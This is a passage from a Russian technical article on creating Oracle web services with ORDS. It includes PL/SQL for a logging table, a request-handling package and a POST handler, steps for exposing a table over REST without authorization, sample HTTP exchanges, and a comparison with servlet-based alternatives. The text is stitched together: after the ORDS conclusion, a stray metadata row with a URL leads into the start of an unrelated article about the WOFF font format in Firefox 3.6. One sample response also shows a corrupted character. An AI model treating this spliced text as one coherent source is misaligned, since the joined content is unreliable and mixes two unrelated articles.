dtz_log TIMESTAMP(6) WITH TIME ZONE DEFAULT SYSTIMESTAMP
);
COMMENT ON TABLE T_WS_LOG IS 'Лог обработки HTTP-запросов (ORDS)';
COMMENT ON COLUMN T_WS_LOG.id_log IS 'ПК';
COMMENT ON COLUMN T_WS_LOG.message IS 'Сообщение лога';
COMMENT ON COLUMN T_WS_LOG.request_header IS 'Заголовок запроса';
COMMENT ON COLUMN T_WS_LOG.request_body IS 'Тело запроса';
COMMENT ON COLUMN T_WS_LOG.response_header IS 'Заголовок ответа';
COMMENT ON COLUMN T_WS_LOG.response_body IS 'Тело ответа';
COMMENT ON COLUMN T_WS_LOG.dtz_log IS 'Дата/время записи лога';
ALTER TABLE T_WS_LOG ADD CONSTRAINT PK_T_WS_LOG PRIMARY KEY (ID_LOG) USING INDEX;
```
**Создаем пакет:**
```
CREATE OR REPLACE PACKAGE PK_ORDS_API IS
FUNCTION blob2clob
( a_blob BLOB
, a_from_charset VARCHAR2 := 'AMERICAN_AMERICA.AL32UTF8'
, a_to_charset VARCHAR2 := 'AMERICAN_AMERICA.AL32UTF8'
) RETURN CLOB;
PROCEDURE process_request
( a_request CLOB
);
END PK_ORDS_API;
/
CREATE OR REPLACE PACKAGE BODY PK_ORDS_API IS
FUNCTION blob2clob
( a_blob BLOB
, a_from_charset VARCHAR2 := 'AMERICAN_AMERICA.AL32UTF8'
, a_to_charset VARCHAR2 := 'AMERICAN_AMERICA.AL32UTF8'
) RETURN CLOB
AS
l_clob CLOB;
l_amount NUMBER := 2000;
l_offset NUMBER := 1;
l_buffer VARCHAR2(32767);
l_length PLS_INTEGER := dbms_lob.getlength(a_blob);
BEGIN
dbms_lob.createtemporary(l_clob, TRUE);
dbms_lob.OPEN(l_clob, dbms_lob.lob_readwrite);
WHILE l_offset <= l_length LOOP
l_buffer := UTL_RAW.cast_to_varchar2(UTL_RAW.convert( r => dbms_lob.substr(a_blob, l_amount, l_offset)
, from_charset => a_from_charset
, to_charset => a_to_charset));
IF LENGTH(l_buffer) > 0 THEN
dbms_lob.writeappend(l_clob, LENGTH(l_buffer), l_buffer);
END IF;
l_offset := l_offset + l_amount;
EXIT WHEN l_offset > l_length;
END LOOP;
RETURN l_clob;
END blob2clob;
PROCEDURE process_request
( a_request CLOB
)
AS
TYPE TStringHash IS TABLE OF VARCHAR2(256) INDEX BY VARCHAR2(256);
lh_hdr TStringHash;
l_hdr VARCHAR2(256);
l_resp CLOB;
l_response_status INTEGER := 200;
l_ccontent_type VARCHAR2(64) := 'application/json';
l_in_headers VARCHAR2(32767);
BEGIN
-- Заголовки и прочие параметры входящего запроса
lh_hdr('SERVER_SOFTWARE') := OWA_UTIL.get_cgi_env('SERVER_SOFTWARE');
lh_hdr('SERVER_NAME') := OWA_UTIL.get_cgi_env('SERVER_NAME');
lh_hdr('GATEWAY_INTERFACE') := OWA_UTIL.get_cgi_env('GATEWAY_INTERFACE');
lh_hdr('SERVER_PROTOCOL') := OWA_UTIL.get_cgi_env('SERVER_PROTOCOL');
lh_hdr('SERVER_PORT') := OWA_UTIL.get_cgi_env('SERVER_PORT');
lh_hdr('REQUEST_METHOD') := OWA_UTIL.get_cgi_env('REQUEST_METHOD');
lh_hdr('PATH_INFO') := OWA_UTIL.get_cgi_env('PATH_INFO');
lh_hdr('PATH_TRANSLATED') := OWA_UTIL.get_cgi_env('PATH_TRANSLATED');
lh_hdr('SCRIPT_NAME') := OWA_UTIL.get_cgi_env('SCRIPT_NAME');
lh_hdr('QUERY_STRING') := OWA_UTIL.get_cgi_env('QUERY_STRING');
lh_hdr('REMOTE_HOST') := OWA_UTIL.get_cgi_env('REMOTE_HOST');
lh_hdr('REMOTE_ADDR') := OWA_UTIL.get_cgi_env('REMOTE_ADDR');
lh_hdr('AUTH_TYPE') := OWA_UTIL.get_cgi_env('AUTH_TYPE');
lh_hdr('REMOTE_USER') := OWA_UTIL.get_cgi_env('REMOTE_USER');
lh_hdr('REMOTE_IDENT') := OWA_UTIL.get_cgi_env('REMOTE_IDENT');
lh_hdr('CONTENT-TYPE') := OWA_UTIL.get_cgi_env('CONTENT-TYPE');
lh_hdr('CONTENT-LENGTH') := OWA_UTIL.get_cgi_env('CONTENT-LENGTH');
lh_hdr('HTTP_ACCEPT') := OWA_UTIL.get_cgi_env('HTTP_ACCEPT');
lh_hdr('HTTP_ACCEPT_LANGUAGE') := OWA_UTIL.get_cgi_env('HTTP_ACCEPT_LANGUAGE');
lh_hdr('HTTP_USER_AGENT') := OWA_UTIL.get_cgi_env('HTTP_USER_AGENT');
lh_hdr('HTTP_COOKIE') := OWA_UTIL.get_cgi_env('HTTP_COOKIE');
l_hdr := lh_hdr.FIRST;
WHILE l_hdr IS NOT NULL LOOP
IF lh_hdr(l_hdr) IS NOT NULL THEN
l_in_headers := l_in_headers||CHR(10)||l_hdr||': '||lh_hdr(l_hdr);
END IF;
l_hdr := lh_hdr.NEXT(l_hdr);
END LOOP;
l_resp := '{ "result" : "success" }';
INSERT INTO t_ws_log
( message
, request_header
, request_body
, response_header
, response_body)
VALUES
( NULL
, l_in_headers
, a_request
, 'Content-Type: '||l_ccontent_type
, l_resp
);
OWA_UTIL.STATUS_LINE(nstatus => l_response_status, bclose_header => FALSE);
OWA_UTIL.MIME_HEADER(ccontent_type => l_ccontent_type, bclose_header => FALSE);
OWA_UTIL.HTTP_HEADER_CLOSE();
htp.p(l_resp);
END process_request;
END PK_ORDS_API;
/
```
Теперь для созданного шаблона нужно добавить обработчик. Добавляем обработчик для HTTP-метода `POST`.
Для этого выполняем следующие шаги:
1. Вызываем контекстное меню для шаблона, выбираем **Add Handler** и тут же выбираем HTTP-метод:
2. Откроется окно для ввода параметров обработчика. На вкладке **SQL Worksheet** пишем PL/SQL-код, который будет вызываться для нашего шаблона при получении HTTP-запроса с методом `POST`. В качестве обработчика указываем скрипт, вызывающий процедуру `process_request` из созданного нами пакета. Обратите внимание, что в скрипте используется bind-переменная `:body` — это специальная переменная ORDS, которая будет содержать целиком тело запроса в бинарном виде (так как имеет тип BLOB). Полный список служебных переменных можно посмотреть [здесь](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-http-headers-and-ords-specific-bind-variables#ords-specific-bind-variables). В списке есть также переменная `:body_text`, которая сразу возвращает тело запроса в виде CLOB. Однако при боевой отладке этой технологии было выяснено, что некоторые запросы, возвращающие текстовые данные, тем не менее не воспринимаются в ORDS как текст. В таком случае переменная `:body_text` просто оказывается пустой, а запрос передается в БД в таком «бестелесном» виде. Надежнее использовать исходные данные из переменной `:body`, которую нужно преобразовать к типу CLOB самостоятельно в обработчике запроса. Итак, код нашего обработчика выглядит так:
3. Нажимаем кнопку Save REST Handler — после этого метод готов к использованию.
Листинг кода обработчика POST-запроса:
```
DECLARE
l_blob BLOB := :body;
BEGIN
PK_ORDS_API.process_request(a_request => PK_ORDS_API.blob2clob(l_blob));
EXCEPTION
WHEN OTHERS THEN
OWA_UTIL.STATUS_LINE(nstatus => 500, bclose_header => FALSE);
OWA_UTIL.MIME_HEADER(ccontent_type => 'application/json');
htp.p('{ "result" : "error", "message" : "'||SQLERRM||'" }');
END;
```
При необходимости можно получить PL/SQL-код для создания обработчика. Для этого в контекстном меню ORDS-модуля нужно выбрать REST Definition и далее указать, куда выдать скрипт создания модуля, например в буфер обмена:
**Полученный код для создания модуля**
```
-- Generated by Oracle SQL Developer REST Data Services 18.1.0.095.1630
-- Exported REST Definitions from ORDS Schema Version 18.4.0.r3541002
-- Schema: WS_TEST Date: Wed Oct 23 20:19:54 MSK 2019
--
BEGIN
ORDS.ENABLE_SCHEMA(
p_enabled => TRUE,
p_schema => 'WS_TEST',
p_url_mapping_type => 'BASE_PATH',
p_url_mapping_pattern => 'ws_test',
p_auto_rest_auth => TRUE);
ORDS.DEFINE_MODULE(
p_module_name => 'shop',
p_base_path => '/shop/',
p_items_per_page => 25,
p_status => 'PUBLISHED',
p_comments => NULL);
ORDS.DEFINE_TEMPLATE(
p_module_name => 'shop',
p_pattern => 'order',
p_priority => 0,
p_etag_type => 'HASH',
p_etag_query => NULL,
p_comments => NULL);
ORDS.DEFINE_HANDLER(
p_module_name => 'shop',
p_pattern => 'order',
p_method => 'POST',
p_source_type => 'plsql/block',
p_items_per_page => 0,
p_mimes_allowed => '',
p_comments => NULL,
p_source =>
'DECLARE
l_blob BLOB := :body;
BEGIN
PK_ORDS_API.process_request(a_request => PK_ORDS_API.blob2clob(l_blob));
EXCEPTION
WHEN OTHERS THEN
OWA_UTIL.STATUS_LINE(nstatus => 500, bclose_header => FALSE);
OWA_UTIL.MIME_HEADER(ccontent_type => ''application/json'');
htp.p(''{ "result" : "error", "message" : "''||SQLERRM||''" }'');
END;'
);
COMMIT;
END;
```
Замечание: если выполнить процедуру создания модуля `ORDS.DEFINE_MODULE` еще раз, то автоматически будут удалены все шаблоны этого модуля, при этом никакого предупреждения об этом не будет!
#### Пример вызова
На этом наш веб-сервис готов. Осталось проверить его работу.
Для проверки выполняем запрос:
```
POST http://****:8888/ords/ws_test/shop/order HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/json
Content-Length: 22
Host: ****:8888
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
{ "message" : "test" }
```
В ответ получаем:
```
HTTP/1.1 200 OK
Date: Wed, 23 Oct 2019 16:54:53 GMT
Content-Type: application/json
Transfer-Encoding: chunked
{ "result" : "success" }
```
Результат выполнения метода — запись с телом запроса и ответа в таблице логов:
Как видим, отправленный HTTP-запрос успешно был обработан процедурой из пакета.
#### Параметры из запроса
Выше мы уже увидели результат работы простейшего веб-сервиса. Теперь немного усложним задачу, добавив дополнительные параметры в запрос.
Есть два способа передачи параметров:
**Через URL.** Параметры задаются в URL в стандартном виде:
```
http://...URI...?p1=val1&p2=val2
```
**Через HEADER.** Параметры задаются в заголовке запроса в виде `p1: val1`
В ORDS в обработчике запроса параметры определяются в виде bind-переменных.
Добавим в предыдущий пример два параметра: `prm1` — параметр в URI, `prm2` — параметр в заголовке запроса.
Для обработки этих параметров допишем процедуру `PK_ORDS_API.process_request:` добавим параметры `a_prm_uri` и `a_prm_hdr`, в которые будут приходить значения наших параметров из запроса.
**Процедура-обработчик запроса с новыми параметрами**
```
PROCEDURE process_request
( a_request CLOB
, a_prm_uri VARCHAR2 := NULL
, a_prm_hdr VARCHAR2 := NULL
)
AS
TYPE TStringHash IS TABLE OF VARCHAR2(256) INDEX BY VARCHAR2(256);
lh_hdr TStringHash;
l_hdr VARCHAR2(256);
l_resp CLOB;
l_response_status INTEGER := 200;
l_ccontent_type VARCHAR2(64) := 'application/json';
l_in_headers VARCHAR2(32767);
BEGIN
-- Заголовки и прочие параметры входящего запроса
lh_hdr('SERVER_SOFTWARE') := OWA_UTIL.get_cgi_env('SERVER_SOFTWARE');
lh_hdr('SERVER_NAME') := OWA_UTIL.get_cgi_env('SERVER_NAME');
lh_hdr('GATEWAY_INTERFACE') := OWA_UTIL.get_cgi_env('GATEWAY_INTERFACE');
lh_hdr('SERVER_PROTOCOL') := OWA_UTIL.get_cgi_env('SERVER_PROTOCOL');
lh_hdr('SERVER_PORT') := OWA_UTIL.get_cgi_env('SERVER_PORT');
lh_hdr('REQUEST_METHOD') := OWA_UTIL.get_cgi_env('REQUEST_METHOD');
lh_hdr('PATH_INFO') := OWA_UTIL.get_cgi_env('PATH_INFO');
lh_hdr('PATH_TRANSLATED') := OWA_UTIL.get_cgi_env('PATH_TRANSLATED');
lh_hdr('SCRIPT_NAME') := OWA_UTIL.get_cgi_env('SCRIPT_NAME');
lh_hdr('QUERY_STRING') := OWA_UTIL.get_cgi_env('QUERY_STRING');
lh_hdr('REMOTE_HOST') := OWA_UTIL.get_cgi_env('REMOTE_HOST');
lh_hdr('REMOTE_ADDR') := OWA_UTIL.get_cgi_env('REMOTE_ADDR');
lh_hdr('AUTH_TYPE') := OWA_UTIL.get_cgi_env('AUTH_TYPE');
lh_hdr('REMOTE_USER') := OWA_UTIL.get_cgi_env('REMOTE_USER');
lh_hdr('REMOTE_IDENT') := OWA_UTIL.get_cgi_env('REMOTE_IDENT');
lh_hdr('CONTENT-TYPE') := OWA_UTIL.get_cgi_env('CONTENT-TYPE');
lh_hdr('CONTENT-LENGTH') := OWA_UTIL.get_cgi_env('CONTENT-LENGTH');
lh_hdr('HTTP_ACCEPT') := OWA_UTIL.get_cgi_env('HTTP_ACCEPT');
lh_hdr('HTTP_ACCEPT_LANGUAGE') := OWA_UTIL.get_cgi_env('HTTP_ACCEPT_LANGUAGE');
lh_hdr('HTTP_USER_AGENT') := OWA_UTIL.get_cgi_env('HTTP_USER_AGENT');
lh_hdr('HTTP_COOKIE') := OWA_UTIL.get_cgi_env('HTTP_COOKIE');
lh_hdr('a_prm_uri') := a_prm_uri;
lh_hdr('a_prm_hdr') := a_prm_hdr;
l_hdr := lh_hdr.FIRST;
WHILE l_hdr IS NOT NULL LOOP
IF lh_hdr(l_hdr) IS NOT NULL THEN
l_in_headers := l_in_headers||CHR(10)||l_hdr||': '||lh_hdr(l_hdr);
END IF;
l_hdr := lh_hdr.NEXT(l_hdr);
END LOOP;
l_resp := '{ "result" : "success" }';
INSERT INTO t_ws_log
( message
, request_header
, request_body
, response_header
, response_body)
VALUES
( NULL
, l_in_headers
, a_request
, 'Content-Type: '||l_ccontent_type
, l_resp);
OWA_UTIL.STATUS_LINE(nstatus => l_response_status, bclose_header => FALSE);
OWA_UTIL.MIME_HEADER(ccontent_type => l_ccontent_type, bclose_header => FALSE);
OWA_UTIL.HTTP_HEADER_CLOSE();
htp.p(l_resp);
END process_request;
```
Внутри процедуры просто сделаем запись в лог значений новых параметров.
Добавляем новые параметры в обработчик POST-запроса — в виде bind-переменных `:prm_uri` и `:prm_hdr`.
Обработчик POST-запроса запроса с новыми параметрами:
```
DECLARE
l_blob BLOB := :body;
BEGIN
PK_ORDS_API.process_request(a_request => PK_ORDS_API.blob2clob(l_blob), a_prm_uri => :prm_uri, a_prm_hdr => :prm_hdr);
EXCEPTION
WHEN OTHERS THEN
OWA_UTIL.STATUS_LINE(nstatus => 500, bclose_header => FALSE);
OWA_UTIL.MIME_HEADER(ccontent_type => 'application/json');
htp.p('{ "result" : "error", "message" : "'||SQLERRM||'" }');
END;
```
В обработчике на вкладке **Parameters** объявляем переменные:
В этой форме первое поле (**Name**) содержит имя параметра, которое ожидается в запросе, второе поле (**Bind Parameter**) — имя bind-переменной, которое будет указано в обработчике этого запроса.
Выполним запрос с новыми параметрами:
Результат — параметры из запроса сохранились в логе:
Обратите внимание, что параметры из URI можно также достать из CGI-переменной `QUERY_STRING`, то есть для получения параметров не обязательно заводить bind-переменные — можно парсить их в самой процедуре-обработчике запроса.
#### CGI-переменные
При работе с HTTP в Oracle есть возможность получения значений переменных окружения, отражающих контекст HTTP-запроса. Получить значения переменных можно с помощью процедуры `OWA_UTIL.get_cgi_env`.
**Список доступных в PL/SQL CGI-переменных**
`APEX_LISTENER_VERSION
GATEWAY_INTERFACE
GATEWAY_IVERSION
HTTP_ACCEPT_ENCODING
HTTP_HOST
HTTP_PORT
HTTP_USER_AGENT
PATH_ALIAS
PATH_INFO
PLSQL_GATEWAY
QUERY_STRING
REMOTE_ADDR
REMOTE_USER
REQUEST_CHARSET
REQUEST_IANA_CHARSET
REQUEST_METHOD
REQUEST_PROTOCOL
REQUEST_SCHEME
SCRIPT_NAME
SERVER_NAME
SERVER_PORT
SERVER_PROTOCOL
SERVER_SOFTWARE
WEB_AUTHENT_PREFIX
host
user-agent
CONTENT-LENGTH
CONTENT-TYPE`
См. также: [HTTP Headers (OWA\_UTIL) and ORDS-Specific Bind Variables](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-http-headers-and-ords-specific-bind-variables)
### Пример 2: Доступ к таблице через ORDS
В этом примере рассмотрим организацию доступа к объекту БД (к таблице) через ORDS.
Как и в предыдущем примере, делаем доступ без авторизации. О том, как делать защищенный доступ к ресурсам, можно посмотреть в [документации](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/19.1/aelig/developing-REST-applications.html#GUID-95B4FE68-391F-4212-93CE-5C8F14FD0D1F).
Чтобы сделать объект БД доступным через ORDS, нужно выполнить всего один шаг — команду `ORDS.ENABLE_OBJECT`. После этого к объекту можно обратиться по URI вида:
```
http://:/ords//
```
.
#### Создание тестовой таблицы
Для примера создадим таблицу «Заказы».
Скрипт создания таблицы:
```
CREATE TABLE T_ORDER
(
id_order NUMBER NOT NULL,
NUM VARCHAR2(32),
buyer_name VARCHAR2(256),
dt_order DATE,
memo VARCHAR2(2000)
);
COMMENT ON TABLE T_ORDER IS 'Заказ';
COMMENT ON COLUMN T_ORDER.id_order IS 'Первичный ключ';
COMMENT ON COLUMN T_ORDER.num IS 'Номер заказа';
COMMENT ON COLUMN T_ORDER.buyer_name IS 'ФИО покупателя';
COMMENT ON COLUMN T_ORDER.dt_order IS 'Дата создания заказа';
COMMENT ON COLUMN T_ORDER.memo IS 'Примечание';
ALTER TABLE T_ORDER ADD CONSTRAINT PK_T_ORDER PRIMARY KEY (ID_ORDER) USING INDEX;
```
#### Открытие доступа к таблице через ORDS
1. В SQL Developer вызываем контекстное меню для требуемой таблицы, выбираем **Enable REST Service...**.
2. В окне настройки доступа ставим галку напротив **Enable object**, снимаем галку напротив **Authorization required**, нажимаем **«Готово»** (или **«Следующий»**, чтобы посмотреть полученный PL/SQL-код):
3. После выполнения этих действий таблица `T_ORDER` становится доступна через HTTP, базовый URI для обращения к ресурсу:
```
http://:/ords/ws\_test/t\_order
```
Листинг включения таблицы:
```
DECLARE
PRAGMA AUTONOMOUS_TRANSACTION;
BEGIN
ORDS.ENABLE_OBJECT(p_enabled => TRUE,
p_schema => 'WS_TEST',
p_object => 'T_ORDER',
p_object_type => 'TABLE',
p_object_alias => 't_order',
p_auto_rest_auth => FALSE);
commit;
END;
/
```
#### Создание или изменение записи
Доступ к таблице открыт — проверяем, как можно создавать и редактировать записи в таблице через ORDS.
Для создания записи выполняем запрос `PUT`.
В документации ORDS в описании метода `PUT` указан такой шаблон:
```
PUT http://:/ords///
```
То есть поле `KeyValues` (ключ записи) должно быть заполнено даже для новой создаваемой записи. В самом запросе должны быть перечислены все поля таблицы (но ключевое поле можно не добавлять).
**Запрос**
```
PUT http://:/ords/ws\_test/t\_order/25 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 157
Host: :
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
{
"num" : "ords-3472634",
"buyer\_name" : "Buyer Name",
"dt\_order" : "2019-10-25T12:00:00Z",
"memo" : "Тестовый заказ 1"
}
```
**В ответ получаем все поля созданной только что записи:**
```
HTTP/1.1 200 OK
Content-Type: application/json
Content-Location: http://:/ords/ws\_test/t\_order/25
ETag: "..."
Transfer-Encoding: chunked
{
"id\_order": 25,
"num": "ords-3472634",
"buyer\_name": "Buyer Name",
"dt\_order": "2019-10-25T12:00:00Z",
"memo": "Тестовый заказ 1",
"links": [
{
"rel": "self",
"href": "http://:/ords/ws\_test/t\_order/25"
},
{
"rel": "edit",
"href": "http://:/ords/ws\_test/t\_order/25"
},
{
"rel": "describedby",
"href": "http://:/ords/ws\_test/metadata-catalog/t\_order/item"
},
{
"rel": "collection",
"href": "http://:/ords/ws\_test/t\_order/"
}
]
}
```
Смотрим содержимое таблицы — появилась наша новая запись:
Для изменения записи вызываем тот же метод PUT. Изменим примечание в нашем заказе:
```
PUT http://:/ords/ws\_test/t\_order/25 HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: application/json;charset=UTF-8
Content-Length: 178
Host: :
Connection: Keep-Alive
User-Agent: Apache-HttpClient/4.1.1 (java 1.5)
{
"num" : "ords-3472634",
"buyer\_name" : "Buyer Name",
"dt\_order" : "2019-10-25T12:00:00Z",
"memo" : "Тестовый заказ 1. Изменить примечание"
}
```
В ответе получим тот же JSON с параметрами измененной записи. В таблице видим, что примечание обновилось:
#### Получение записей из таблицы
Есть три режима запроса данных из таблицы:
1. Постраничный запрос:
```
GET http://:/ords///?offset=&limit=
```
2. Запрос по условиям:
```
GET http://:/ords///?q=
```
3. Запрос по первичному ключу:
```
GET http://:/ords///
```
Для получения всех записей можно выполнить запрос без указания каких-либо параметров:
```
GET http://:/ords/ws\_test/t\_order/
```
**Ответ**
```
HTTP/1.1 200 OK
Date: Fri, 25 Oct 2019 15:39:58 GMT
Content-Type: application/json
ETag: "..."
Transfer-Encoding: chunked
{
"items": [ {
"id_order": 25,
"num": "ords-3472634",
"buyer_name": "Buyer Name",
"dt_order": "2019-10-25T12:00:00Z",
"memo": "Тестовый заказ 1. �зменить примечание",
"links": [ {
"rel": "self",
"href": "http://:/ords/ws\_test/t\_order/25"
}]
}],
"hasMore": false,
"limit": 25,
"offset": 0,
"count": 1,
"links": [
{
"rel": "self",
"href": "http://:/ords/ws\_test/t\_order/"
},
{
"rel": "edit",
"href": "http://:/ords/ws\_test/t\_order/"
},
{
"rel": "describedby",
"href": "http://:/ords/ws\_test/metadata-catalog/t\_order/"
},
{
"rel": "first",
"href": "http://:/ords/ws\_test/t\_order/"
}
]
}
```
*Как заставить Oracle добавлять кодировку в заголовок Content-Type — вопрос открытый.*
```
GET http://:/ords/ws\_test/t\_order/25
```
**Ответ**
```
HTTP/1.1 200 OK
Date: Fri, 25 Oct 2019 15:44:35 GMT
Content-Type: application/json
ETag: "..."
Transfer-Encoding: chunked
{
"id_order": 25,
"num": "ords-3472634",
"buyer_name": "Buyer Name",
"dt_order": "2019-10-25T12:00:00Z",
"memo": "Тестовый заказ 1. �зменить примечание",
"links": [
{
"rel": "self",
"href": "http://:/ords/ws\_test/t\_order/25"
},
{
"rel": "edit",
"href": "http://:/ords/ws\_test/t\_order/25"
},
{
"rel": "describedby",
"href": "http://:/ords/ws\_test/metadata-catalog/t\_order/item"
},
{
"rel": "collection",
"href": "http://:/ords/ws\_test/t\_order/"
}
]
}
```
#### Удаление записи
Для удаления используем HTTP-метод `DELETE`.
Запрос:
```
DELETE http://:/ords/ws\_test/t\_order/?q={"id\_order":25}
```
Запрос в исходном виде:
```
DELETE http://:/ords/ws\_test/t\_order/?q=%7B%22id\_order%22%3A25%7D
```
Ответ:
```
HTTP/1.1 200 OK
Date=Fri, 25 Oct 2019 16:23:39 GMT
Content-Type=application/json
Transfer-Encoding=chunked
{"rowsDeleted":1}
```
### Выводы
ORDS — достаточно гибкий и универсальный механизм для работы с веб-сервисами, позволяющий реализовать полноценный REST. В плане производительности сильно превосходит Native Oracle WS с его тяжелым внутренним парсингом XML. Для реализации высоконагруженной системы этот подход не подойдет: в этом случае нужен другой стек технологий — отдельный сервер приложений, проксирование запросов, использование кластерных БД и так далее. Однако для реализации систем с относительно небольшим количеством HTTP-запросов (до 10–20 в секунду) ORDS — оптимальный подход как в производительности, так и в гибкости. ORDS уступает Native Oracle WS только в плане генерации спецификации веб-сервиса: последний выдает уже полностью готовую спецификацию (WSDL), которую «как есть» можно отдавать потребителям сервиса. В ORDS также есть [возможность](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-open-api-swagger-support) генерации описания, но для рассмотренного в этой статье подхода с полностью универсальным сервисом (когда есть общая процедура обработки для всех сервисов) автоматическая генерация спецификации становится невозможной. Oracle сгенерирует только спецификацию верхнего уровня, а детали (модели данных) придется описывать вручную.
Альтернативные подходы
----------------------
### Java Servlet
Этот вариант создания веб-сервисов по способу настройки похож на Native Oracle WS: тоже требует использования встроенного HTTP-сервера Oracle, а также настройки ACL (как, впрочем, и все другие способы). Но, в отличие от Native Oracle WS, этот вариант работает с чистым HTTP. Обработчики запросов в этом случае пишутся на Java и смотрят только на тип HTTP-запроса (`PUT`, `GET`, `POST` и так далее, хотя можно сделать и один обработчик на все типы), а логика обработки полностью остается на усмотрение разработчика. Можно передавать тело запроса «как есть» в логику БД, и там разбирать его и обрабатывать, можно часть логики оставить на стороне Java-обработчика, а из БД вызывать уже нужную процедуру в зависимости от пришедших в запросе данных.
Данный подход к реализации веб-сервисов вполне универсальный и к тому же не требует установки никаких дополнительных компонентов. У нас не получилось его применить только из-за жестких требований к сервису: нужен был веб-сервис, не требующий аутентификации. При реализации данного подхода аутентификация обязательна, и это требование не получилось обойти.
Более подробно про этот способ можно узнать в [документации Oracle](https://docs.oracle.com/cd/B28359_01/appdev.111/b28369/xdb23jv1.htm#i1043680).
### Database Access Descriptor (PL/SQL Servlet)
Этот вариант полностью аналогичен предыдущему, только обработчиком запроса выступает хранимая процедура PL/SQL.
Пример URL — указывается имя пакета, имя процедуры, параметры (GET-запрос):
```
GET http://:/servlet\_plsql/pi\_test.test\_serv?p\_path=ppp
```
В случае POST-запроса имена параметров нужно прописывать прямо в теле запроса через знак «=», что довольно неудобно, так как тип содержимого запроса (ContentType) в этом случае может быть только текстовым. Передать xml- или json-структуру можно только в таком виде:
```
p_proc_param_name=…
```
Такой вариант веб-сервиса применим только в случаях, когда имеем дело с совсем простыми запросами — вызовами процедуры с простыми типами данных. Передать какую-либо сложную многоуровневую структуру в этом варианте не получится.
Этот подход подробно [описан](https://oracle-base.com/articles/10g/dbms_epg_10gR2) на сайте ORACLE-BASE.
Заключение
----------
Создание веб-сервиса в Oracle — задача довольно простая, не требующая написания какого-то сверхсложного кода. При этом разработчики Oracle получают в свой арсенал довольно мощный механизм, позволяющий интегрировать разнородные системы или части систем через HTTP.
В данной статье мы рассмотрели четыре подхода к созданию веб-сервисов.
**Native Oracle WS** — устаревшая технология, которая тем не менее имеет свои плюсы: автоматически генерируемый WSDL, автоматический парсинг XML, отсутствие необходимости установки дополнительного ПО. Главный недостаток — небольшая производительность и ограничение поддерживаемых типов данных.
**ORDS** — на мой взгляд, предпочтительный способ создания веб-сервисов. Достаточно гибкий и универсальный. Из неудобств этого способа можно выделить только то, что в стандартную поставку Oracle он не входит, то есть требует отдельной установки.
**Java Servlet** — вполне универсальный способ, не требующий установки дополнительного ПО. Однако все нужно делать полностью вручную, поскольку нет возможности автогенерации сервисов.
**PL/SQL Servlet** — наименее удачный подход. Из плюсов можно выделить то, что в этом варианте мы получаем возможность вызова хранимых процедур через HTTP без необходимости установки дополнительного ПО, а также без написания дополнительного кода на других языках: весь код пишется только на PL/SQL.
Всем спасибо за внимание! Надеюсь материал статьи окажется полезным тем, кто так или иначе связан с продуктами Oracle и озадачен проблемами внутрисистемных и межсистемных интеграций.
**Дополнительные материалы**
**Native Oracle XML DB Web Services**
[Using Native Oracle XML DB Web Services](https://docs.oracle.com/cd/B28359_01/appdev.111/b28369/xdb_web_services.htm#CHDDBCHB)
[Native Oracle XML DB Web Services in Oracle 11g Release 1](https://oracle-base.com/articles/11g/native-oracle-xml-db-web-services-11gr1)
**ORDS**
Описание: [Installation, Configuration, and Development Guide](https://docs.oracle.com/en/database/oracle/oracle-rest-data-services/19.1/aelig/installing-REST-data-services.html#GUID-A16BCCA2-8081-4062-A635-9F7C36FC394F)
[Install Oracle REST Data Services 3.0.X in under 5 minutes](https://blog.cdivilly.com/2015/03/11/install-ords-3.0.0/)
CGI-переменные: [HTTP Headers (OWA\_UTIL) and ORDS-Specific Bind Variables](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-http-headers-and-ords-specific-bind-variables)
Аутентификация в ORDS: [Oracle REST Data Services (ORDS) : Authentication](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-authentication)
ORDS и Open API (Swagger): [Oracle REST Data Services (ORDS) : Open API 2.0 (Swagger) Support](https://oracle-base.com/articles/misc/oracle-rest-data-services-ords-open-api-swagger-support)
ORDS, возвращающий BLOB: [ORDS web services returning BLOBs](http://www.grassroots-oracle.com/2017/12/ords-web-services-returning-blobs.html)
**Java Servlet**
[Writing Oracle XML DB HTTP Servlets in Java](https://docs.oracle.com/cd/B28359_01/appdev.111/b28369/xdb23jv1.htm#i1043680)
**Database Access Descriptor (PL/SQL Servlet)**
[DBMS\_EPG — The Embedded PL/SQL Gateway in Oracle 10g Database Release 2](https://oracle-base.com/articles/10g/dbms_epg_10gR2) | https://habr.com/ru/post/502030/ | null | ru | null |
# Web Open Font Format в Firefox 3.6
*Эта статья написана Джоном Даггеттом(John Daggett) — сотрудником компании Mozilla, который много работал с дизайнерами шрифтов и web программистами чтобы улучшить положение шрифтов в web. Статья представляет из себя поверхностный обзор новых возможностей и содержит некоторые примеры применения WOFF(Web Open Font Format). Полный список других работающих в этой области организаций вы можете найти на официальном [блоге Mozilla](http://blog.mozilla.com/blog/2009/10/20/mozilla-supports-web-open-font-format/) ([архив](http://www.peeep.us/0600815b)).*
В Firefox 3.5 мы [включили поддержку](http://hacks.mozilla.org/2009/06/beautiful-fonts-with-font-face/) ([архив](http://www.peeep.us/905a603f)) подключения шрифтов формата TrueType и OpenType. В Firefox 3.6 мы включим поддержку нового формата шрифтов Web Open Font Format или WOFF, который имеет два основных преимущества перед сырыми TrueType и OpenType:
— это сжатый формат, значит вы увидите намного меньший объем загружаемых данных, чем при использовании сырых TrueType или OpenType;
— он содержит информацию о том, откуда пришел этот шрифт, но без DRM или подписей для конкретного домена, это означает что он [поддерживается](http://typegirl.tumblr.com/post/142912558/most-of-the-important-foundries-are-supporting-webfont) ([архив](http://www.peeep.us/3d90999a)) множеством дизайнеров и организаций занимающихся шрифтами.
